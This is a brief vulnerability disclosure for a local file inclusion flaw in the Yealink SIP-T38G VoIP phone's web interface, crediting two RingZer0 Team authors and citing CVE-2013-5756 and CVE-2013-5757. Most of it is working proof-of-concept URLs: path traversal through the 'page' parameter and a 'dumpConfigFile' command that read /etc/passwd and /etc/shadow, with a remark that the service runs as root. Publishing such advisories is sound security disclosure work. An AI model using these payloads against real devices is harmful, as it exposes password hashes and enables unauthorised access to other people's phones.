Yealink VoIP Phone SIP-T38G – Local File Inclusion
Title: Yealink VoIP Phone SIP-T38G Local File Inclusion Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team Vendor Homepage: http://www.yealink.com/Companyprofile.aspx Version: VoIP Phone SIP-T38G CVE: CVE-2013-5756, CVE-2013-5757 Description: Web interface contain a vulnerability that allow any page to be included. We are able to disclose /etc/passwd & /etc/shadow POC: Using the page parameter (CVE-2013-5756): http:// [host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd http:// [host]/cgi-bin/cgiServer.exx?page=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow Using the command parameter (CVE-2013-5757): http://[host]/cgi-bin/cgiServer.exx?command=dumpConfigFile("/etc/shadow") *By viewing the shadow file we are able to conclude that cgiServer.exx run under the root privileges. This lead to CVE-2013-5759. |